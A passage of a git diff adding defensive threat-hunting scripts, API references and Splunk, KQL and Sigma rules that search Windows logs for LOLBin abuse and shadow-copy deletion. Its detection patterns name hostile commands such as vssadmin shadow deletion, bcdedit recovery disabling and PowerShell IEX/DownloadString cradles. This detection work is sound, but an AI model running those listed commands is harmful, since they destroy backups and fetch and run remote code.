SIEM for LOLBin process events +- **python-evtx** (Evtx): Parse Windows EVTX event logs for Sysmon process creation +- **re**: Regex matching against suspicious command-line argument patterns + +## CLI Interface + +``` +python agent.py hunt --es-host --index [--api-key ] [--hours ] +python agent.py sysmon --evtx-file +``` + +## Core Functions + +### `hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24)` +Queries Elasticsearch for 12 LOLBin binaries with suspicious argument patterns. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `es_host` | str | Elasticsearch host URL | +| `es_index` | str | Index pattern (default: `logs-*`) | +| `api_key` | str | Optional API key | +| `hours` | int | Lookback window in hours | + +**Returns:** dict with `detections` list (each with `binary`, `mitre`, `count`, `events`). + +### `scan_sysmon_log(evtx_file)` +Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin names. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `evtx_file` | str | Path to Sysmon .evtx file | + +**Returns:** dict with `lolbin_events` count and `findings` list. + +## LOLBins Covered + +| Binary | MITRE Technique | Suspicious Pattern Examples | +|--------|----------------|---------------------------| +| certutil.exe | T1140, T1105 | `-urlcache`, `-decode`, `-encode` | +| mshta.exe | T1218.005 | `vbscript:`, `javascript:`, HTTP URLs | +| regsvr32.exe | T1218.010 | `/s /n /u /i:`, `scrobj.dll` | +| rundll32.exe | T1218.011 | `javascript:`, `shell32.dll` | +| bitsadmin.exe | T1197 | `/transfer`, `/download` | +| wmic.exe | T1047 | `process call create`, `/node:` | +| powershell.exe | T1059.001 | `-enc`, `IEX`, `DownloadString`, `-w hidden` | + +## Dependencies +``` +pip install elasticsearch>=8.0 python-evtx +``` diff --git a/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py b/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py new file mode 100644 index 00000000..bb1a5e1e --- /dev/null +++ b/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Agent for hunting Living-off-the-Land Binaries (LOLBins) execution patterns.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path + +try: + from elasticsearch import Elasticsearch +except ImportError: + Elasticsearch = None + +LOLBINS = { + "certutil.exe": { + "mitre": "T1140,T1105", + "suspicious_args": [r"-urlcache", r"-split", r"-decode", r"-encode", r"-f\s+http"], + "description": "Certificate utility abused for download and decode", + }, + "mshta.exe": { + "mitre": "T1218.005", + "suspicious_args": [r"vbscript:", r"javascript:", r"http://", r"https://"], + "description": "HTML Application host for script execution", + }, + "regsvr32.exe": { + "mitre": "T1218.010", + "suspicious_args": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll", r"http://", r"https://"], + "description": "COM registration abused for proxy execution", + }, + "rundll32.exe": { + "mitre": "T1218.011", + "suspicious_args": [r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", r"url\.dll.*FileProtocolHandler"], + "description": "DLL loader abused for proxy execution", + }, + "bitsadmin.exe": { + "mitre": "T1197", + "suspicious_args": [r"/transfer", r"/download", r"/create", r"http://", r"https://"], + "description": "BITS service abused for file download", + }, + "wmic.exe": { + "mitre": "T1047", + "suspicious_args": [r"process\s+call\s+create", r"/node:", r"os\s+get"], + "description": "WMI command-line for remote execution", + }, + "msiexec.exe": { + "mitre": "T1218.007", + "suspicious_args": [r"/q.*http://", r"/q.*https://", r"/q.*/i\s+"], + "description": "MSI installer abused for code execution", + }, + "cmstp.exe": { + "mitre": "T1218.003", + "suspicious_args": [r"/ni\s+/s\s+", r"\.inf"], + "description": "Connection Manager Profile Installer bypass", + }, + "wscript.exe": { + "mitre": "T1059.005", + "suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$", r"//e:jscript", r"//e:vbscript"], + "description": "Windows Script Host for script execution", + }, + "cscript.exe": { + "mitre": "T1059.005", + "suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$"], + "description": "Console Script Host for script execution", + }, + "powershell.exe": { + "mitre": "T1059.001", + "suspicious_args": [ + r"-enc\s+", r"-encodedcommand", r"-nop\s+", r"-noprofile", + r"IEX\s*\(", r"Invoke-Expression", r"DownloadString", + r"Net\.WebClient", r"bitstransfer", r"-w\s+hidden", + ], + "description": "PowerShell with obfuscation or download cradles", + }, + "forfiles.exe": { + "mitre": "T1202", + "suspicious_args": [r"/p\s+.*\s+/c\s+", r"cmd\s+/c"], + "description": "Indirect command execution via forfiles", + }, +} + + +def hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24): + """Query Elasticsearch for LOLBin execution with suspicious arguments.""" + if Elasticsearch is None: + return {"error": "elasticsearch-py not installed"} + kwargs = {"hosts": [es_host]} + if api_key: + kwargs["api_key"] = api_key + es = Elasticsearch(**kwargs) + results = {"timestamp": datetime.utcnow().isoformat(), "detections": [], "total_suspicious": 0} + for binary, info in LOLBINS.items(): + query = {"bool": {"must": [ + {"term": {"process.name": binary}}, + {"range": {"@timestamp": {"gte": f"now-{hours}h"}}} + ]}} + resp = es.search(index=es_index, body={"query": query, "size": 200, "sort": [{"@timestamp": "desc"}]}) + suspicious = [] + for hit in resp["hits"]["hits"]: + src = hit["_source"] + cmdline = src.get("process", {}).get("command_line", "") + for pattern in info["suspicious_args"]: + if re.search(pattern, cmdline, re.I): + suspicious.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "user": src.get("user", {}).get("name"), + "command_line": cmdline[:500], + "parent_process": src.get("process", {}).get("parent", {}).get("name"), + "matched_pattern": pattern, + }) + break + if suspicious: + results["detections"].append({ + "binary": binary, "mitre": info["mitre"], + "description": info["description"], + "count": len(suspicious), "events": suspicious[:50], + }) + results["total_suspicious"] += len(suspicious) + return results + + +def scan_sysmon_log(evtx_file): + """Parse Sysmon EVTX for LOLBin process creation (Event ID 1).""" + try: + import Evtx.Evtx as evtx_lib + import Evtx.Views as evtx_views + except ImportError: + return {"error": "python-evtx not installed"} + findings = [] + lolbin_names = {b.lower() for b in LOLBINS} + with evtx_lib.Evtx(evtx_file) as log: + for record in log.records(): + xml = record.xml() + if "1" not in xml: + continue + for binary in lolbin_names: + if binary in xml.lower(): + findings.append({"record_id": record.record_num(), "xml_snippet": xml[:800]}) + break + return {"file": evtx_file, "lolbin_events": len(findings), "findings": findings[:200]} + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for LOLBin execution patterns") + sub = parser.add_subparsers(dest="command") + h = sub.add_parser("hunt", help="Hunt LOLBins in Elasticsearch") + h.add_argument("--es-host", required=True) + h.add_argument("--index", default="logs-*") + h.add_argument("--api-key") + h.add_argument("--hours", type=int, default=24) + s = sub.add_parser("sysmon", help="Scan Sysmon EVTX for LOLBins") + s.add_argument("--evtx-file", required=True) + args = parser.parse_args() + if args.command == "hunt": + result = hunt_lolbins_elastic(args.es_host, args.index, args.api_key, args.hours) + elif args.command == "sysmon": + result = scan_sysmon_log(args.evtx_file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE b/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md b/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md new file mode 100644 index 00000000..d0e3ff34 --- /dev/null +++ b/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference — Hunting for LOLBins Execution in Endpoint Logs + +## Libraries Used +- **csv**: Parse exported endpoint log CSV files from SIEM or EDR +- **python-evtx** (Evtx): Parse Windows Sysmon EVTX event logs directly +- **re**: Regex matching for suspicious command-line patterns + +## CLI Interface + +``` +python agent.py csv --file [--process-col Image] [--cmdline-col CommandLine] +python agent.py evtx --file +``` + +## Core Functions + +### `scan_csv_logs(csv_file, process_col, cmdline_col)` +Scans CSV-exported endpoint logs for LOLBin process executions with suspicious arguments. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `csv_file` | str | Path to CSV log file | +| `process_col` | str | Column name for process image path (default: `Image`) | +| `cmdline_col` | str | Column name for command line (default: `CommandLine`) | + +**Returns:** dict with `total_findings`, `by_binary` counts, `by_mitre` counts, `findings` list. + +### `scan_evtx_sysmon(evtx_file)` +Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin signatures. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `evtx_file` | str | Path to Sysmon .evtx file | + +**Returns:** dict with `total_findings` and `findings` with record IDs, binary names, MITRE IDs. + +## LOLBins Detected (14 binaries) +certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe, bitsadmin.exe, wmic.exe, +msiexec.exe, cmstp.exe, forfiles.exe, pcalua.exe, csc.exe, installutil.exe, +msbuild.exe, powershell.exe + +## Output Format +```json +{ + "total_findings": 12, + "by_binary": {"powershell.exe": 5, "certutil.exe": 4}, + "by_mitre": {"T1059.001": 5, "T1140": 4}, + "findings": [{"binary": "...", "mitre": "...", "command_line": "..."}] +} +``` + +## Dependencies +``` +pip install python-evtx +``` diff --git a/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py b/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py new file mode 100644 index 00000000..694e51e6 --- /dev/null +++ b/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""Agent for hunting LOLBin execution patterns in endpoint logs (Sysmon, EDR).""" + +import json +import argparse +import re +import csv +from datetime import datetime +from pathlib import Path + +LOLBIN_SIGNATURES = { + "certutil.exe": {"mitre": "T1140", "patterns": [r"-urlcache", r"-decode", r"-encode", r"-split.*http"]}, + "mshta.exe": {"mitre": "T1218.005", "patterns": [r"vbscript:", r"javascript:", r"https?://"]}, + "regsvr32.exe": {"mitre": "T1218.010", "patterns": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll"]}, + "rundll32.exe": {"mitre": "T1218.011", "patterns": [r"javascript:", r"shell32.*ShellExec"]}, + "bitsadmin.exe": {"mitre": "T1197", "patterns": [r"/transfer", r"/download", r"https?://"]}, + "wmic.exe": {"mitre": "T1047", "patterns": [r"process\s+call\s+create", r"/node:"]}, + "msiexec.exe": {"mitre": "T1218.007", "patterns": [r"/q.*https?://", r"/q.*/i\s+"]}, + "cmstp.exe": {"mitre": "T1218.003", "patterns": [r"/ni\s+/s", r"\.inf"]}, + "forfiles.exe": {"mitre": "T1202", "patterns": [r"/c\s+cmd", r"/c\s+powershell"]}, + "pcalua.exe": {"mitre": "T1202", "patterns": [r"-a\s+.*\.exe", r"-a\s+.*\.dll"]}, + "csc.exe": {"mitre": "T1127", "patterns": [r"/out:.*\\temp\\", r"/out:.*\\appdata\\"]}, + "installutil.exe": {"mitre": "T1218.004", "patterns": [r"/logfile=", r"/U\s+"]}, + "msbuild.exe": {"mitre": "T1127.001", "patterns": [r"\.xml$", r"\.csproj$", r"\\temp\\"]}, + "powershell.exe": {"mitre": "T1059.001", "patterns": [ + r"-enc\s+", r"IEX", r"Invoke-Expression", r"DownloadString", + r"Net\.WebClient", r"-w\s+hidden", r"-nop\s+", + ]}, +} + + +def scan_csv_logs(csv_file, process_col="Image", cmdline_col="CommandLine"): + """Scan exported CSV endpoint logs for LOLBin execution.""" + findings = [] + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + for row_num, row in enumerate(reader, 2): + proc = row.get(process_col, "") + cmdline = row.get(cmdline_col, "") + proc_name = proc.split("\\")[-1].lower() if proc else "" + if proc_name in LOLBIN_SIGNATURES: + sig = LOLBIN_SIGNATURES[proc_name] + for pattern in sig["patterns"]: + if re.search(pattern, cmdline, re.I): + findings.append({ + "row": row_num, + "binary": proc_name, + "mitre": sig["mitre"], + "command_line": cmdline[:500], + "matched_pattern": pattern, + "user": row.get("User", row.get("user", "")), + "host": row.get("Computer", row.get("hostname", "")), + "timestamp": row.get("UtcTime", row.get("@timestamp", "")), + }) + break + severity_map = {"T1059.001": "high", "T1218.005": "high", "T1140": "medium"} + for f_item in findings: + f_item["severity"] = severity_map.get(f_item["mitre"], "medium") + return { + "file": str(csv_file), + "total_findings": len(findings), + "by_binary": _count_by(findings, "binary"), + "by_mitre": _count_by(findings, "mitre"), + "findings": findings[:500], + } + + +def scan_evtx_sysmon(evtx_file): + """Parse Sysmon EVTX for Event ID 1 matching LOLBin patterns.""" + try: + import Evtx.Evtx as evtx_lib + except ImportError: + return {"error": "python-evtx not installed. Install: pip install python-evtx"} + findings = [] + lolbin_set = set(LOLBIN_SIGNATURES.keys()) + with evtx_lib.Evtx(evtx_file) as log: + for record in log.records(): + xml_str = record.xml() + if "1" not in xml_str: + continue + xml_lower = xml_str.lower() + for binary in lolbin_set: + if binary in xml_lower: + sig = LOLBIN_SIGNATURES[binary] + for pattern in sig["patterns"]: + if re.search(pattern, xml_str, re.I): + findings.append({ + "record_id": record.record_num(), + "binary": binary, + "mitre": sig["mitre"], + "pattern": pattern, + "xml_snippet": xml_str[:600], + }) + break + break + return {"file": evtx_file, "total_findings": len(findings), "findings": findings[:300]} + + +def _count_by(items, key): + counts = {} + for item in items: + val = item.get(key, "unknown") + counts[val] = counts.get(val, 0) + 1 + return dict(sorted(counts.items(), key=lambda x: x[1], reverse=True)) + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for LOLBin execution in endpoint logs") + sub = parser.add_subparsers(dest="command") + c = sub.add_parser("csv", help="Scan CSV-exported endpoint logs") + c.add_argument("--file", required=True, help="CSV log file path") + c.add_argument("--process-col", default="Image", help="Column name for process path") + c.add_argument("--cmdline-col", default="CommandLine", help="Column name for command line") + e = sub.add_parser("evtx", help="Scan Sysmon EVTX log") + e.add_argument("--file", required=True, help="EVTX file path") + args = parser.parse_args() + if args.command == "csv": + result = scan_csv_logs(args.file, args.process_col, args.cmdline_col) + elif args.command == "evtx": + result = scan_evtx_sysmon(args.file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE b/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE b/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-registry-persistence-mechanisms/LICENSE b/skills/hunting-for-registry-persistence-mechanisms/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-registry-persistence-mechanisms/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-scheduled-task-persistence/LICENSE b/skills/hunting-for-scheduled-task-persistence/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-scheduled-task-persistence/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-shadow-copy-deletion/LICENSE b/skills/hunting-for-shadow-copy-deletion/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-shadow-copy-deletion/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-shadow-copy-deletion/references/api-reference.md b/skills/hunting-for-shadow-copy-deletion/references/api-reference.md new file mode 100644 index 00000000..f49f6c16 --- /dev/null +++ b/skills/hunting-for-shadow-copy-deletion/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Hunting for Shadow Copy Deletion + +## python-evtx + +```python +import Evtx.Evtx as evtx + +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + xml_str = record.xml() # full XML of event + ts = record.timestamp() # datetime object +``` + +## Detection Patterns + +| Pattern | Technique | Severity | +|---------|-----------|----------| +| `vssadmin delete shadows` | T1490 | CRITICAL | +| `wmic shadowcopy delete` | T1490 | CRITICAL | +| `bcdedit /set recoveryenabled no` | T1490 | HIGH | +| `wbadmin delete catalog` | T1490 | HIGH | +| `Win32_ShadowCopy.Delete()` | T1490 | CRITICAL | + +## Splunk SPL + +```spl +index=wineventlog (EventCode=4688 OR EventCode=1) +| where match(CommandLine, "(?i)(vssadmin.*delete.*shadows|wmic.*shadowcopy.*delete)") +| table _time Computer User CommandLine ParentImage +``` + +## KQL (Microsoft Sentinel) + +```kql +DeviceProcessEvents +| where ProcessCommandLine has_any ("vssadmin delete shadows", "wmic shadowcopy delete", + "bcdedit /set", "wbadmin delete catalog") +| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName +``` + +## Sigma Rule Format + +```yaml +title: Shadow Copy Deletion +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\vssadmin.exe' + CommandLine|contains|all: + - 'delete' + - 'shadows' + condition: selection +level: critical +tags: + - attack.impact + - attack.t1490 +``` + +### References + +- MITRE T1490: https://attack.mitre.org/techniques/T1490/ +- python-evtx: https://github.com/williballenthin/python-evtx +- Sigma Rules: https://github.com/SigmaHQ/sigma diff --git a/skills/hunting-for-shadow-copy-deletion/scripts/agent.py b/skills/hunting-for-shadow-copy-deletion/scripts/agent.py new file mode 100644 index 00000000..fda46f57 --- /dev/null +++ b/skills/hunting-for-shadow-copy-deletion/scripts/agent.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Agent for hunting shadow copy deletion activity indicating ransomware or anti-forensics.""" + +import json +import argparse +import re +import xml.etree.ElementTree as ET +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + + +SHADOW_PATTERNS = [ + r"vssadmin\s+delete\s+shadows", + r"vssadmin\.exe.*delete.*shadows", + r"wmic\s+shadowcopy\s+delete", + r"Get-WmiObject\s+Win32_ShadowCopy.*Delete", + r"gwmi\s+Win32_ShadowCopy.*Remove", + r"bcdedit.*recoveryenabled.*no", + r"bcdedit.*/set.*bootstatuspolicy\s+ignoreallfailures", + r"wbadmin\s+delete\s+catalog", + r"Win32_ShadowCopy.*\.Delete", + r"powershell.*shadowcopy.*delete", +] + +RECOVERY_DISABLE_PATTERNS = [ + r"bcdedit\s+/set\s+\{default\}\s+recoveryenabled\s+no", + r"reagentc\s+/disable", + r"vssadmin\s+resize\s+shadowstorage.*maxsize=", +] + + +def parse_evtx_file(evtx_path): + """Parse Windows EVTX file for shadow copy deletion events.""" + if evtx is None: + return [] + events = [] + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + xml_str = record.xml() + try: + root = ET.fromstring(xml_str) + ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} + event_id_el = root.find(".//ns:EventID", ns) + if event_id_el is None: + continue + event_id = int(event_id_el.text) + if event_id in (1, 4688, 4698): + data_elements = root.findall(".//ns:Data", ns) + event_data = {} + for d in data_elements: + name = d.get("Name", "") + event_data[name] = d.text or "" + events.append({ + "event_id": event_id, + "timestamp": record.timestamp().isoformat(), + "data": event_data, + }) + except ET.ParseError: + continue + return events + + +def scan_command_line(cmd_line): + """Check a command line string against shadow copy deletion patterns.""" + findings = [] + for pattern in SHADOW_PATTERNS: + if re.search(pattern, cmd_line, re.IGNORECASE): + findings.append({"pattern": pattern, "severity": "CRITICAL", "category": "shadow_copy_deletion"}) + for pattern in RECOVERY_DISABLE_PATTERNS: + if re.search(pattern, cmd_line, re.IGNORECASE): + findings.append({"pattern": pattern, "severity": "HIGH", "category": "recovery_disable"}) + return findings + + +def hunt_evtx(evtx_path): + """Hunt for shadow copy deletion in EVTX logs.""" + events = parse_evtx_file(evtx_path) + results = [] + for event in events: + cmd = event["data"].get("CommandLine", "") or event["data"].get("TaskContent", "") + if not cmd: + cmd = " ".join(event["data"].values()) + matches = scan_command_line(cmd) + if matches: + results.append({ + "timestamp": event["timestamp"], + "event_id": event["event_id"], + "command_line": cmd[:500], + "user": event["data"].get("SubjectUserName", event["data"].get("User", "")), + "computer": event["data"].get("Computer", ""), + "findings": matches, + }) + return results + + +def scan_sysmon_json(log_path): + """Scan JSON-exported Sysmon logs for shadow copy deletion.""" + results = [] + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + cmd = entry.get("CommandLine", entry.get("command_line", "")) + image = entry.get("Image", entry.get("process_name", "")) + matches = scan_command_line(cmd) + if matches: + results.append({ + "timestamp": entry.get("UtcTime", entry.get("timestamp", "")), + "image": image, + "command_line": cmd[:500], + "parent_image": entry.get("ParentImage", ""), + "user": entry.get("User", ""), + "hostname": entry.get("Computer", entry.get("hostname", "")), + "findings": matches, + }) + return results + + +def generate_sigma_rule(): + """Generate a Sigma detection rule for shadow copy deletion.""" + return { + "title": "Shadow Copy Deletion via Vssadmin or WMIC", + "id": "faa6e1e2-5b4c-4e1a-bb2a-5c1f3e5e3f0a", + "status": "production", + "level": "critical", + "logsource": {"category": "process_creation", "product": "windows"}, + "detection": { + "selection_vssadmin": { + "Image|endswith": "\\vssadmin.exe", + "CommandLine|contains|all": ["delete", "shadows"], + }, + "selection_wmic": { + "Image|endswith": "\\wmic.exe", + "CommandLine|contains|all": ["shadowcopy", "delete"], + }, + "selection_powershell": { + "Image|endswith": ["\\powershell.exe", "\\pwsh.exe"], + "CommandLine|contains": "Win32_ShadowCopy", + }, + "condition": "selection_vssadmin or selection_wmic or selection_powershell", + }, + "tags": ["attack.impact", "attack.t1490"], + } + + +def main(): + parser = argparse.ArgumentParser(description="Shadow Copy Deletion Hunter") + parser.add_argument("--evtx", help="Path to EVTX log file") + parser.add_argument("--json-log", help="Path to JSON Sysmon log") + parser.add_argument("--output", default="shadow_copy_hunt_report.json") + parser.add_argument("--action", choices=["hunt_evtx", "hunt_json", "sigma", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("hunt_evtx", "full") and args.evtx: + results = hunt_evtx(args.evtx) + report["findings"]["evtx_hits"] = results + print(f"[+] EVTX shadow copy deletion events: {len(results)}") + + if args.action in ("hunt_json", "full") and args.json_log: + results = scan_sysmon_json(args.json_log) + report["findings"]["sysmon_hits"] = results + print(f"[+] Sysmon JSON shadow copy hits: {len(results)}") + + if args.action in ("sigma", "full"): + rule = generate_sigma_rule() + report["findings"]["sigma_rule"] = rule + print("[+] Sigma rule generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-spearphishing-indicators/LICENSE b/skills/hunting-for-spearphishing-indicators/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-spearphishing-indicators/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 